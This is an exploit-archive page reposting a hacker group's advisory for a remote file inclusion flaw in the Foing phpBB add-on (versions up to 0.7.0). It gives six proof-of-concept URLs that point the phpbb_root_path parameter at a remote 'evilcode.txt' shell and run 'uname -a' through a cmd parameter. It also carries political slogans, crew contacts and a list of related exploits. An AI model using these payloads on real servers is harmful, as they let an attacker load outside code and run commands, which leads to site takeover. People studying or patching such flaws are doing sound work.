Exploit / Web Apps Exploit / Foing <= 0.7.0 (phpBB) Remote File Inclusion Vulnerability

Eklenme Tarihi: 2008-10-20 23:08
# Kurdish Security Advisory
# Original Advisory : http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
# Foing Remote File Include Vulnerability [PHPBB] :}
# "Ey Tarih ya sana basarilar atfedecegiz ya da seni yasanmamis sayacagiz ." Abdullah Ocalan
# STOP THE MASSACRE IN THE TURKEY! FREEDOM FOR KURDISTAN !
# Contact : irc.gigachat.net #kurdhack &amp; www.PatrioticHackers.com &amp; botan@linuxmail.org
# Risk : High
# Class : Remote
# Script : Foing
# Script Website : http://foing.sourceforge.net/
# Version : Foing 0.7.0
0.6.0
0.5.0
0.4.0
0.3.0
0.2.0
# w0rkz : "Powered by foing"

# Thanks : B3g0k, Nistiman, Flot, Netqurd, Darki, Azad, ColdHackers, Kurdistan Cyber Army etc..

--------------------------------------------------------------------------------

# cmd shell example:
# cmd shell variable: ($_GET[cmd]);

Vulnerable code :

Get along at directory config.php

did you meet of ..

<?php

define('FOING_INSTALLED', true);

$phpbb_root_path = '../';
$foing_prefix = $table_prefix;

?>

Proof Of Concept :
[url]http://www.r0xed.com/[foingpath]/index.php?phpbb_root_path=http://evilcode.txt?&amp;cmd=uname[/url] -a
[url]http://www.r0xed.com/[foingpath]/song.php?phpbb_root_path=http://evilcode.txt?&amp;cmd=uname[/url] -a
[url]http://www.r0xed.com/[foingpath]/faq.php?phpbb_root_path=http://evilcode.txt?&amp;cmd=uname[/url] -a
[url]http://www.r0xed.com/[foingpath]/list.php?phpbb_root_path=http://evilcode.txt?&amp;cmd=uname[/url] -a
[url]http://www.r0xed.com/[foingpath]/gen_m3u.php?phpbb_root_path=http://evilcode.txt?&amp;cmd=uname[/url] -a
[url]http://www.r0xed.com/[foingpath]/playlist.php?phpbb_root_path=http://evilcode.txt?&amp;cmd=uname[/url] -a

Yorumlar:

  1. Henüz Yorum Eklenmedi

Yorum Ekle



Keywords:




Benzer Sayfalar (Similar Pages):

Bulunamadı. (not found)

Bu Sayfalarda İlginizi Çekebilir (The Links Bellow May Attract You As Well):
Exploit / Web Apps Exploit / WordPress Blog HTTP Splitting Vulnerability
Exploit / Web Apps Exploit / Turbo Seek Null Byte Error Discloses Files to Remote Users
Exploit / Web Apps Exploit / PHP-Nuke 7.4 Remote Privilege Escalation
Exploit / Web Apps Exploit / AWStats Input Validation Hole in 'logfile'
Exploit / Web Apps Exploit / PHP-NUKE version <= 6.9 'cid' sql injection Remote Exploit
Exploit / Web Apps Exploit / phpBB 2.0.6 search_id sql injection MD5 Hash Remote Exploit
Exploit / Web Apps Exploit / phpBB 2.0.5 SQL Injection password disclosure Exploit
Exploit / Web Apps Exploit / sendtemp.pl Read Access to Files
Exploit / Web Apps Exploit / Fastgraf's whois.cgi Remote Command Execution Exploit
Exploit / Web Apps Exploit / PostNuke PostWrap Module Remote Exploit
Exploit / Web Apps Exploit / Siteman <= 1.1.10 Remote Administrative Account Addition Exploit
Exploit / Web Apps Exploit / AWStats configdir Remote Command Execution Exploit (perl code)
Exploit / Web Apps Exploit / phpBB <= 2.0.10 Bot Install (Altavista) (ssh.D.Worm)
Exploit / Web Apps Exploit / QWikiwiki Directory Traversal Vulnerability
Exploit / Web Apps Exploit / PhpInclude.Worm - PHP Scripts Automated Arbitrary File Inclusion
Exploit / Web Apps Exploit / Sanity.b - phpBB <= 2.0.10 Bot Install (AOL/Yahoo Search)
Exploit / Web Apps Exploit / e107 include() Remote Exploit
Exploit / Web Apps Exploit / phpMyChat 0.14.5 Remote Improper File Permissions Exploit
Exploit / Web Apps Exploit / phpBB highlight Arbitrary File Upload (Santy.A)
Exploit / Web Apps Exploit / phpBB <= 2.0.10 Remote Command Execution Exploit (cgi version)
Exploit / Web Apps Exploit / phpBB <= 2.0.10 Remote Command Execution Exploit
Exploit / Web Apps Exploit / GFHost PHP GMail Remote Command Execution Exploit
Exploit / Web Apps Exploit / TWiki 20030201 search.pm Remote Command Execution Exploit
Exploit / Web Apps Exploit / vBulletin LAST.PHP SQL Injection Vulnerability
Exploit / Web Apps Exploit / ocPortal 1.0.3 Remote File Inclusion
Exploit / Web Apps Exploit / The Includer CGI <= 1.0 Remote Command Execution (new version2)
Exploit / Web Apps Exploit / The Includer CGI <= 1.0 Remote Command Execution (new version)
Exploit / Web Apps Exploit / PHP-Nuke 6.x - 7.6 Top module Remote Sql Injection Exploit (working)
Exploit / Web Apps Exploit / phpBB <= 2.0.13 'Calendar Pro' mod Remote Exploit
Exploit / Web Apps Exploit / phpBB <= 2.0.13 'downloads.php' mod Remote Exploit